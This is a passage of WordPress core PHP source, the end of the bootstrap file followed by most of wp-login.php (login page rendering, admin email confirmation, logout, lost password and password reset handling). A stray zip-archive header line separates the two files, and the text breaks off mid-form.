// Define the template related constants and globals.
wp_templating_constants();
wp_set_template_globals();

// Load the default text localization domain.
load_default_textdomain();

$locale      = get_locale();
$locale_file = WP_LANG_DIR . "/$locale.php";
if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) {
	require $locale_file;
}
unset( $locale_file );

/**
 * WordPress Locale object for loading locale domain date and various strings.
 *
 * @since 2.1.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 */
$GLOBALS['wp_locale'] = new WP_Locale();

/**
 * WordPress Locale Switcher object for switching locales.
 *
 * @since 4.7.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 */
$GLOBALS['wp_locale_switcher'] = new WP_Locale_Switcher();
$GLOBALS['wp_locale_switcher']->init();

// Load the functions for the active theme, for both parent and child theme if applicable.
foreach ( wp_get_active_and_valid_themes() as $theme ) {
	$wp_theme = wp_get_theme( basename( $theme ) );

	$wp_theme->load_textdomain();

	if ( file_exists( $theme . '/functions.php' ) ) {
		include $theme . '/functions.php';
	}
}
unset( $theme, $wp_theme );

/**
 * Fires after the theme is loaded.
 *
 * @since 3.0.0
 */
do_action( 'after_setup_theme' );

// Create an instance of WP_Site_Health so that Cron events may fire.
if ( ! class_exists( 'WP_Site_Health' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
WP_Site_Health::get_instance();

// Set up current user.
$GLOBALS['wp']->init();

/**
 * Fires after WordPress has finished loading but before any headers are sent.
 *
 * Most of WP is loaded at this stage, and the user is authenticated. WP continues
 * to load on the {@see 'init'} hook that follows (e.g. widgets), and many plugins instantiate
 * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).
 *
 * If you wish to plug an action once WP is loaded, use the {@see 'wp_loaded'} hook below.
 *
 * @since 1.5.0
 */
do_action( 'init' );

// Check site status.
if ( is_multisite() ) {
	$file = ms_site_check();
	if ( true !== $file ) {
		require $file;
		die();
	}
	unset( $file );
}

/**
 * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.
 *
 * Ajax requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for
 * users not logged in.
 *
 * @link https://developer.wordpress.org/plugins/javascript/ajax
 *
 * @since 3.0.0
 */
do_action( 'wp_loaded' );
PK���[O�~�����wp-login.phpnu�[���<?php
/**
 * WordPress User Page
 *
 * Handles authentication, registering, resetting passwords, forgot password,
 * and other user handling.
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

// Redirect to HTTPS login if forced to use SSL.
if ( force_ssl_admin() && ! is_ssl() ) {
	if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) {
		wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
		exit;
	} else {
		wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		exit;
	}
}

/**
 * Outputs the login page header.
 *
 * @since 2.1.0
 *
 * @global string      $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @param string|null   $title    Optional. WordPress login page title to display in the `<title>` element.
 *                                Defaults to 'Log In'.
 * @param string        $message  Optional. Message to display in header. Default empty.
 * @param WP_Error|null $wp_error Optional. The error to pass. Defaults to a WP_Error instance.
 */
function login_header( $title = null, $message = '', $wp_error = null ) {
	global $error, $interim_login, $action;

	if ( null === $title ) {
		$title = __( 'Log In' );
	}

	// Don't index any of these forms.
	add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
	add_action( 'login_head', 'wp_strict_cross_origin_referrer' );

	add_action( 'login_head', 'wp_login_viewport_meta' );

	if ( ! is_wp_error( $wp_error ) ) {
		$wp_error = new WP_Error();
	}

	// Shake it!
	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
	/**
	 * Filters the error codes array for shaking the login form.
	 *
	 * @since 3.0.0
	 *
	 * @param string[] $shake_error_codes Error codes that shake the login form.
	 */
	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );

	if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
		add_action( 'login_footer', 'wp_shake_js', 12 );
	}

	$login_title = get_bloginfo( 'name', 'display' );

	/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
	$login_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $login_title );

	if ( wp_is_recovery_mode() ) {
		/* translators: %s: Login screen title. */
		$login_title = sprintf( __( 'Recovery Mode &#8212; %s' ), $login_title );
	}

	/**
	 * Filters the title tag content for login page.
	 *
	 * @since 4.9.0
	 *
	 * @param string $login_title The page title, with extra context added.
	 * @param string $title       The original page title.
	 */
	$login_title = apply_filters( 'login_title', $login_title, $title );

	?><!DOCTYPE html>
	<html <?php language_attributes(); ?>>
	<head>
	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
	<title><?php echo $login_title; ?></title>
	<?php

	wp_enqueue_style( 'login' );

	/*
	 * Remove all stored post data on logging out.
	 * This could be added by add_action('login_head'...) like wp_shake_js(),
	 * but maybe better if it's not removable by plugins.
	 */
	if ( 'loggedout' === $wp_error->get_error_code() ) {
		ob_start();
		?>
		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
		<?php
		wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
	}

	/**
	 * Enqueues scripts and styles for the login page.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_enqueue_scripts' );

	/**
	 * Fires in the login page header after scripts are enqueued.
	 *
	 * @since 2.1.0
	 */
	do_action( 'login_head' );

	$login_header_url = __( 'https://wordpress.org/' );

	/**
	 * Filters link URL of the header logo above login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $login_header_url Login header logo URL.
	 */
	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );

	$login_header_title = '';

	/**
	 * Filters the title attribute of the header logo above login form.
	 *
	 * @since 2.1.0
	 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
	 *
	 * @param string $login_header_title Login header logo title attribute.
	 */
	$login_header_title = apply_filters_deprecated(
		'login_headertitle',
		array( $login_header_title ),
		'5.2.0',
		'login_headertext',
		__( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' )
	);

	$login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title;

	/**
	 * Filters the link text of the header logo above the login form.
	 *
	 * @since 5.2.0
	 *
	 * @param string $login_header_text The login header logo link text.
	 */
	$login_header_text = apply_filters( 'login_headertext', $login_header_text );

	$classes = array( 'login-action-' . $action, 'wp-core-ui' );

	if ( is_rtl() ) {
		$classes[] = 'rtl';
	}

	if ( $interim_login ) {
		$classes[] = 'interim-login';

		?>
		<style type="text/css">html{background-color: transparent;}</style>
		<?php

		if ( 'success' === $interim_login ) {
			$classes[] = 'interim-login-success';
		}
	}

	$classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );

	/**
	 * Filters the login page body classes.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $classes An array of body classes.
	 * @param string   $action  The action that brought the visitor to the login page.
	 */
	$classes = apply_filters( 'login_body_class', $classes, $action );

	?>
	</head>
	<body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
	<?php
	wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" );
	?>

	<?php
	/**
	 * Fires in the login page header after the body tag is opened.
	 *
	 * @since 4.6.0
	 */
	do_action( 'login_header' );
	?>
	<?php
	if ( 'confirm_admin_email' !== $action && ! empty( $title ) ) :
		?>
		<h1 class="screen-reader-text"><?php echo $title; ?></h1>
		<?php
	endif;
	?>
	<div id="login">
		<h1 role="presentation" class="wp-login-logo"><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1>
	<?php
	/**
	 * Filters the message to display above the login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $message Login message text.
	 */
	$message = apply_filters( 'login_message', $message );

	if ( ! empty( $message ) ) {
		echo $message . "\n";
	}

	// In case a plugin uses $error rather than the $wp_errors object.
	if ( ! empty( $error ) ) {
		$wp_error->add( 'error', $error );
		unset( $error );
	}

	if ( $wp_error->has_errors() ) {
		$error_list = array();
		$messages   = '';

		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data( $code );
			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
				if ( 'message' === $severity ) {
					$messages .= '<p>' . $error_message . '</p>';
				} else {
					$error_list[] = $error_message;
				}
			}
		}

		if ( ! empty( $error_list ) ) {
			$errors = '';

			if ( count( $error_list ) > 1 ) {
				$errors .= '<ul class="login-error-list">';

				foreach ( $error_list as $item ) {
					$errors .= '<li>' . $item . '</li>';
				}

				$errors .= '</ul>';
			} else {
				$errors .= '<p>' . $error_list[0] . '</p>';
			}

			/**
			 * Filters the error messages displayed above the login form.
			 *
			 * @since 2.1.0
			 *
			 * @param string $errors Login error messages.
			 */
			$errors = apply_filters( 'login_errors', $errors );

			wp_admin_notice(
				$errors,
				array(
					'type'           => 'error',
					'id'             => 'login_error',
					'paragraph_wrap' => false,
				)
			);
		}

		if ( ! empty( $messages ) ) {
			/**
			 * Filters instructional messages displayed above the login form.
			 *
			 * @since 2.5.0
			 *
			 * @param string $messages Login messages.
			 */
			$messages = apply_filters( 'login_messages', $messages );

			wp_admin_notice(
				$messages,
				array(
					'type'               => 'info',
					'id'                 => 'login-message',
					'additional_classes' => array( 'message' ),
					'paragraph_wrap'     => false,
				)
			);
		}
	}
} // End of login_header().

/**
 * Outputs the footer for the login page.
 *
 * @since 3.1.0
 *
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 *
 * @param string $input_id Which input to auto-focus.
 */
function login_footer( $input_id = '' ) {
	global $interim_login;

	// Don't allow interim logins to navigate away from the page.
	if ( ! $interim_login ) {
		?>
		<p id="backtoblog">
			<?php
			$html_link = sprintf(
				'<a href="%s">%s</a>',
				esc_url( home_url( '/' ) ),
				sprintf(
					/* translators: %s: Site title. */
					_x( '&larr; Go to %s', 'site' ),
					get_bloginfo( 'title', 'display' )
				)
			);
			/**
			 * Filters the "Go to site" link displayed in the login page footer.
			 *
			 * @since 5.7.0
			 *
			 * @param string $link HTML link to the home URL of the current site.
			 */
			echo apply_filters( 'login_site_html_link', $html_link );
			?>
		</p>
		<?php

		the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' );
	}

	?>
	</div><?php // End of <div id="login">. ?>

	<?php
	if (
		! $interim_login &&
		/**
		 * Filters whether to display the Language selector on the login screen.
		 *
		 * @since 5.9.0
		 *
		 * @param bool $display Whether to display the Language selector on the login screen.
		 */
		apply_filters( 'login_display_language_dropdown', true )
	) {
		$languages = get_available_languages();

		if ( ! empty( $languages ) ) {
			?>
			<div class="language-switcher">
				<form id="language-switcher" method="get">

					<label for="language-switcher-locales">
						<span class="dashicons dashicons-translation" aria-hidden="true"></span>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Language' );
							?>
						</span>
					</label>

					<?php
					$args = array(
						'id'                          => 'language-switcher-locales',
						'name'                        => 'wp_lang',
						'selected'                    => determine_locale(),
						'show_available_translations' => false,
						'explicit_option_en_us'       => true,
						'languages'                   => $languages,
					);

					/**
					 * Filters default arguments for the Languages select input on the login screen.
					 *
					 * The arguments get passed to the wp_dropdown_languages() function.
					 *
					 * @since 5.9.0
					 *
					 * @param array $args Arguments for the Languages select input on the login screen.
					 */
					wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) );
					?>

					<?php if ( $interim_login ) { ?>
						<input type="hidden" name="interim-login" value="1" />
					<?php } ?>

					<?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?>
						<input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" />
					<?php } ?>

					<?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?>
						<input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" />
					<?php } ?>

						<input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>">

					</form>
				</div>
		<?php } ?>
	<?php } ?>

	<?php

	if ( ! empty( $input_id ) ) {
		ob_start();
		?>
		<script>
		try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
		if(typeof wpOnload==='function')wpOnload();
		</script>
		<?php
		wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
	}

	/**
	 * Fires in the login page footer.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_footer' );

	?>
	</body>
	</html>
	<?php
}

/**
 * Outputs the JavaScript to handle the form shaking on the login page.
 *
 * @since 3.0.0
 */
function wp_shake_js() {
	wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" );
}

/**
 * Outputs the viewport meta tag for the login page.
 *
 * @since 3.7.0
 */
function wp_login_viewport_meta() {
	?>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<?php
}

/*
 * Main part.
 *
 * Check the request and redirect or display a form based on the current action.
 */

$action = isset( $_REQUEST['action'] ) && is_string( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset( $_GET['key'] ) ) {
	$action = 'resetpass';
}

if ( isset( $_GET['checkemail'] ) ) {
	$action = 'checkemail';
}

$default_actions = array(
	'confirm_admin_email',
	'postpass',
	'logout',
	'lostpassword',
	'retrievepassword',
	'resetpass',
	'rp',
	'register',
	'checkemail',
	'confirmaction',
	'login',
	WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED,
);

// Validate action so as to default to the login screen.
if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) {
	$action = 'login';
}

nocache_headers();

header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) );

if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set.
	if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) {
		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
	}

	$url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );

	if ( get_option( 'siteurl' ) !== $url ) {
		update_option( 'siteurl', $url );
	}
}

// Set a cookie now to see if they are supported by the browser.
$secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );

if ( SITECOOKIEPATH !== COOKIEPATH ) {
	setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure, true );
}

if ( isset( $_GET['wp_lang'] ) ) {
	setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
}

/**
 * Fires when the login form is initialized.
 *
 * @since 3.2.0
 */
do_action( 'login_init' );

/**
 * Fires before a specified login form action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the action
 * that brought the visitor to the login form.
 *
 * Possible hook names include:
 *
 *  - `login_form_checkemail`
 *  - `login_form_confirm_admin_email`
 *  - `login_form_confirmaction`
 *  - `login_form_entered_recovery_mode`
 *  - `login_form_login`
 *  - `login_form_logout`
 *  - `login_form_lostpassword`
 *  - `login_form_postpass`
 *  - `login_form_register`
 *  - `login_form_resetpass`
 *  - `login_form_retrievepassword`
 *  - `login_form_rp`
 *
 * @since 2.8.0
 */
do_action( "login_form_{$action}" );

$http_post     = ( 'POST' === $_SERVER['REQUEST_METHOD'] );
$interim_login = isset( $_REQUEST['interim-login'] );

/**
 * Filters the separator used between login form navigation links.
 *
 * @since 4.9.0
 *
 * @param string $login_link_separator The separator used between login form navigation links.
 */
$login_link_separator = apply_filters( 'login_link_separator', ' | ' );

switch ( $action ) {

	case 'confirm_admin_email':
		/*
		 * Note that `is_user_logged_in()` will return false immediately after logging in
		 * as the current user is not set, see wp-includes/pluggable.php.
		 * However this action runs on a redirect after logging in.
		 */
		if ( ! is_user_logged_in() ) {
			wp_safe_redirect( wp_login_url() );
			exit;
		}

		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect_to = $_REQUEST['redirect_to'];
		} else {
			$redirect_to = admin_url();
		}

		if ( current_user_can( 'manage_options' ) ) {
			$admin_email = get_option( 'admin_email' );
		} else {
			wp_safe_redirect( $redirect_to );
			exit;
		}

		/**
		 * Filters the interval for dismissing the admin email confirmation screen.
		 *
		 * If `0` (zero) is returned, the "Remind me later" link will not be displayed.
		 *
		 * @since 5.3.1
		 *
		 * @param int $interval Interval time (in seconds). Default is 3 days.
		 */
		$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );

		if ( ! empty( $_GET['remind_me_later'] ) ) {
			if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			if ( $remind_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $remind_interval );
			}

			$redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to );
			wp_safe_redirect( $redirect_to );
			exit;
		}

		if ( ! empty( $_POST['correct-admin-email'] ) ) {
			if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			/**
			 * Filters the interval for redirecting the user to the admin email confirmation screen.
			 *
			 * If `0` (zero) is returned, the user will not be redirected.
			 *
			 * @since 5.3.0
			 *
			 * @param int $interval Interval time (in seconds). Default is 6 months.
			 */
			$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );

			if ( $admin_email_check_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $admin_email_check_interval );
			}

			wp_safe_redirect( $redirect_to );
			exit;
		}

		login_header( __( 'Confirm your administration email' ), '', $errors );

		/**
		 * Fires before the admin email confirm form.
		 *
		 * @since 5.3.0
		 *
		 * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
		 *                         credentials. Note that the error object may not contain any errors.
		 */
		do_action( 'admin_email_confirm', $errors );

		?>

		<form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post">
			<?php
			/**
			 * Fires inside the admin-email-confirm-form form tags, before the hidden fields.
			 *
			 * @since 5.3.0
			 */
			do_action( 'admin_email_confirm_form' );

			wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' );

			?>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />

			<h1 class="admin-email__heading">
				<?php _e( 'Administration email verification' ); ?>
			</h1>
			<p class="admin-email__details">
				<?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?>
				<?php

				/* translators: URL to the WordPress help section about admin email. */
				$admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' );

				$accessibility_text = sprintf(
					'<span class="screen-reader-text"> %s</span>',
					/* translators: Hidden accessibility text. */
					__( '(opens in a new tab)' )
				);

				printf(
					'<a href="%s" target="_blank">%s%s</a>',
					esc_url( $admin_email_help_url ),
					__( 'Why is this important?' ),
					$accessibility_text
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php

				printf(
					/* translators: %s: Admin email address. */
					__( 'Current administration email: %s' ),
					'<strong>' . esc_html( $admin_email ) . '</strong>'
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php _e( 'This email may be different from your personal email address.' ); ?>
			</p>

			<div class="admin-email__actions">
				<div class="admin-email__actions-primary">
					<?php

					$change_link = admin_url( 'options-general.php' );
					$change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link );

					?>
					<a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a>
					<input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" />
				</div>
				<?php if ( $remind_interval > 0 ) : ?>
					<div class="admin-email__actions-secondary">
						<?php

						$remind_me_link = wp_login_url( $redirect_to );
						$remind_me_link = add_query_arg(
							array(
								'action'          => 'confirm_admin_email',
								'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ),
							),
							$remind_me_link
						);

						?>
						<a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a>
					</div>
				<?php endif; ?>
			</div>
		</form>

		<?php

		login_footer();
		break;

	case 'postpass':
		$redirect_to = $_POST['redirect_to'] ?? wp_get_referer();

		if ( ! isset( $_POST['post_password'] ) || ! is_string( $_POST['post_password'] ) ) {
			wp_safe_redirect( $redirect_to );
			exit;
		}

		require_once ABSPATH . WPINC . '/class-phpass.php';
		$hasher = new PasswordHash( 8, true );

		/**
		 * Filters the life span of the post password cookie.
		 *
		 * By default, the cookie expires 10 days from creation. To turn this
		 * into a session cookie, return 0.
		 *
		 * @since 3.7.0
		 *
		 * @param int $expires The expiry time, as passed to setcookie().
		 */
		$expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );

		if ( $redirect_to ) {
			$secure = ( 'https' === parse_url( $redirect_to, PHP_URL_SCHEME ) );
		} else {
			$secure = false;
		}

		setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );

		wp_safe_redirect( $redirect_to );
		exit;

	case 'logout':
		check_admin_referer( 'log-out' );

		$user = wp_get_current_user();

		wp_logout();

		if ( ! empty( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) {
			$redirect_to           = $_REQUEST['redirect_to'];
			$requested_redirect_to = $redirect_to;
		} else {
			$redirect_to = add_query_arg(
				array(
					'loggedout' => 'true',
					'wp_lang'   => get_user_locale( $user ),
				),
				wp_login_url()
			);

			$requested_redirect_to = '';
		}

		/**
		 * Filters the log out redirect URL.
		 *
		 * @since 4.2.0
		 *
		 * @param string  $redirect_to           The redirect destination URL.
		 * @param string  $requested_redirect_to The requested redirect destination URL passed as a parameter.
		 * @param WP_User $user                  The WP_User object for the user that's logging out.
		 */
		$redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );

		wp_safe_redirect( $redirect_to );
		exit;

	case 'lostpassword':
	case 'retrievepassword':
		if ( $http_post ) {
			$errors = retrieve_password();

			if ( ! is_wp_error( $errors ) ) {
				$redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
				wp_safe_redirect( $redirect_to );
				exit;
			}
		}

		if ( isset( $_GET['error'] ) ) {
			if ( 'invalidkey' === $_GET['error'] ) {
				$errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) );
			} elseif ( 'expiredkey' === $_GET['error'] ) {
				$errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) );
			}
		}

		$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
		/**
		 * Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
		 *
		 * @since 3.0.0
		 *
		 * @param string $lostpassword_redirect The redirect destination URL.
		 */
		$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );

		/**
		 * Fires before the lost password form.
		 *
		 * @since 1.5.1
		 * @since 5.1.0 Added the `$errors` parameter.
		 *
		 * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
		 *                         credentials. Note that the error object may not contain any errors.
		 */
		do_action( 'lost_password', $errors );

		login_header(
			__( 'Lost Password' ),
			wp_get_admin_notice(
				__( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message' ),
				)
			),
			$errors
		);

		$user_login = '';

		if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
			$user_login = wp_unslash( $_POST['user_login'] );
		}

		?>

		<form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
			<p>
				<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
				<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>
			<?php

			/**
			 * Fires inside the lostpassword form tags, before the hidden fields.
			 *
			 * @since 2.1.0
			 */
			do_action( 'lostpassword_form' );

			?>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			if ( get_option( 'users_can_register' ) ) {
				$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

				echo esc_html( $login_link_separator );

				/** This filter is documented in wp-includes/general-template.php */
				echo apply_filters( 'register', $registration_url );
			}

			?>
		</p>
		<?php

		login_footer( 'user_login' );
		break;

	case 'resetpass':
	case 'rp':
		list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
		$rp_cookie       = 'wp-resetpass-' . COOKIEHASH;

		if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) {
			$value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
			setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );

			wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
			exit;
		}

		if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
			list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );

			$user = check_password_reset_key( $rp_key, $rp_login );

			if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
				$user = false;
			}
		} else {
			$user = false;
		}

		if ( ! $user || is_wp_error( $user ) ) {
			setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );

			if ( $user && $user->get_error_code() === 'expired_key' ) {
				wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
			} else {
				wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
			}

			exit;
		}

		$errors = new WP_Error();

		// Check if password is one or all empty spaces.
		if ( ! empty( $_POST['pass1'] ) ) {
			$_POST['pass1'] = trim( $_POST['pass1'] );

			if ( empty( $_POST['pass1'] ) ) {
				$errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) );
			}
		}

		// Check if password fields do not match.
		if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) {
			$errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) );
		}

		/**
		 * Fires before the password reset procedure is validated.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Error         $errors WP Error object.
		 * @param WP_User|WP_Error $user   WP_User object if the login and reset key match. WP_Error object otherwise.
		 */
		do_action( 'validate_password_reset', $errors, $user );

		if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) {
			reset_password( $user, $_POST['pass1'] );
			setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
			login_header(
				__( 'Password Reset' ),
				wp_get_admin_notice(
					__( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>',
					array(
						'type'               => 'info',
						'additional_classes' => array( 'message', 'reset-pass' ),
					)
				)
			);
			login_footer();
			exit;
		}

		wp_enqueue_script( 'utils' );
		wp_enqueue_script( 'user-profile' );

		login_header(
			__( 'Reset Password' ),
			wp_get_admin_notice(
				__( 'Enter your new password below or generate one.' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message', 'reset-pass' ),
				)
			),
			$errors
		);

		?>
		<form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
			<input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />

			<div class="user-pass1-wrap">
				<p>
					<label for="pass1"><?php _e( 'New password' ); ?></label>
				</p>

				<div class="wp-pwd">
